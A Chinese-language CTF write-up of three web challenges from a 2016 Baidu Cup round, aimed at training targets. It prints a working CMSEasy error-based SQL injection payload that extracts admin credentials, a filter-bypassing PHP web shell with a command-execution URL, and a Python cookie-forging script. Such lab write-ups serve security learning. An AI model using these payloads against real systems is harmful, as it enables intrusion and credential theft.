MENU

百度杯 CTF 比赛第一场 writeup

September 4, 2016 • Read: 3921 • CTF

每周都会有三道题,第一周的都是 WEB,可能之后的也都是 WEB吧。

YeserCMS

打开下发的题目链接,看那老土的界面感觉很像 CMSEASY,扫一下目录看到 robots.txt,根目录下有一个 flag.php,其实这个信息题目已经告诉了。。。这题可能是要文件包含或者读取一下。

再翻一翻网站,看到评论框里的 cmseasy 标志,确定了这就是 cmseasy。

评论框里的 cmseasy 标志

那么去搜一发公开漏洞,看到有一个注入,那么就撸一下管理员的账号吧。

http://2e61b827652b4e6d83b5e8cf2ecc0f3f47c19a20a7af4dc2.game.ichunqiu.com/celive/live/header.php 页面下提交 post 数据:

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx%2527%252C%2528UpdateXML%25281%252CCONCAT%25280x5b%252Cmid%2528%2528SELECT%252f%252a%252a%252fGROUP_CONCAT%2528concat%2528username%252C%2527%257C%2527%252Cpassword%2529%2529%2520from%2520yesercms_user%2529%252C1%252C32%2529%252C0x5d%2529%252C1%2529%2529%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%2529--%2520</q></xjxquery>

爆出管理员账户:

XPATH syntax error: '[admin|ff512d4240cbbdeafada40467'

这时候出现一个尴尬的问题,hash 长度不够,显示不全,这时候就得调整 payload 了。

INSERT INTO `yesercms_detail` (`chatid`,`detail`,`who_witter`) VALUES('','xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from yesercms_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- (2016-09-04 20:19:21)','2')

1,32 调整一下使显示完整,最终 hash 为 ff512d4240cbbdeafada404677ccbe61,解码得到管理员密码 Yeser231

登入后台,在编辑当前模板处存在文件读取。

当前模板编辑

用 Burp 抓个包,改一下文件。

Burp 抓包

Upload

一看就是一道上传题,直接上 Burp。

直接传一句话被拦,换个 phpinfo(); 不拦截了,可能是检测了其中的函数,这样也好,不用再弄什么图片马了。

好像还会过滤 php 文件的头部,那么就换一种方式吧。

<script language='pHp'>system($_GET[a]);</script>

传上去后提交:

/u/one.php?a=cat%20../flag.php

Code

打开是一张图片,看 URL 感觉是文件包含,查看源码发现是 base64 加密过的,那么可以读取 index.php。

<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";

/*
 * Can you find the flag file?
 *
 */

?>

这里有个大坑,我以为要绕过替换读 config.php ,想了好半天。。。

其实看到 phpstorm 就应该可以想到 .idea/workspace.xml 泄露的问题了,从这里可以看到有一个 fl3g_ichuqiu.php 文件,读取一下,这里又要用到之前的替换了,不然下划线会被过滤掉。

<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
    $hash = '';
    $max = strlen($chars) - 1;
    for($i = 0; $i < $length; $i++)    {
        $hash .= $chars[mt_rand(0, $max)];
    }
    return $hash;
}

function encrypt($txt,$key){
    for($i=0;$i<strlen($txt);$i++){
        $tmp .= chr(ord($txt[$i])+10);
    }
    $txt = $tmp;
    $rnd=random(4);
    $key=md5($rnd.$key);
    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $ttmp .= $txt[$i] ^ $key[++$s];
    }
    return base64_encode($rnd.$ttmp);
}
function decrypt($txt,$key){
    $txt=base64_decode($txt);
    $rnd = substr($txt,0,4);
    $txt = substr($txt,4);
    $key=md5($rnd.$key);

    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $tmp .= $txt[$i]^$key[++$s];
    }
    for($i=0;$i<strlen($tmp);$i++){
        $tmp1 .= chr(ord($tmp[$i])-10);
    }
    return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
    echo $flag;
}else{
    setcookie('user',encrypt('guest',$key));
    echo "╮(╯▽╰)╭";
}
?>

那么只要逆一下算法就好了。

import base64
import requests
c='WnNOZUlPV0xJ'

m='guest'


m = list(m)

for i in range(0,len(m)):
    m[i]=chr(ord(m[i])+10);
print m

c=base64.b64decode(c)

print c

rnd = c[0:4]

print rnd

c = c[4:len(c)]

c = list(c)
key=[]
for i in range(0,5):
    key.append(chr( ord(c[i])^ord(m[i] ) ))

print key
key=''.join(key)

s='0123456789abcdef'

msg='system'
msg=list(msg)
for i in range(0,len(msg)):
    msg[i]=chr(ord(msg[i])+10)

for i in range(0,16):
    key=key+s[i]
    cc=[]
    for j in range(0,len(msg)):
        cc.append(chr(ord(msg[j])^ord(key[j])))
    cc=''.join(cc)
    print key,cc
    key=key[0:len(key)-1]
    print base64.b64encode(rnd+cc)
    cook={'user':base64.b64encode(rnd+cc)}
    print "***",base64.b64encode(rnd+cc),"****"
    url='http://906162c3521648b4a0f8919224f10ade6fa4e2ddceec42d2.game.ichunqiu.com/fl3g_ichuqiu.php'
    r=requests.get(url,cookies=cook).content
    print r
Last Modified: February 15, 2017
Archives QR Code
QR Code for this page
Tipping QR Code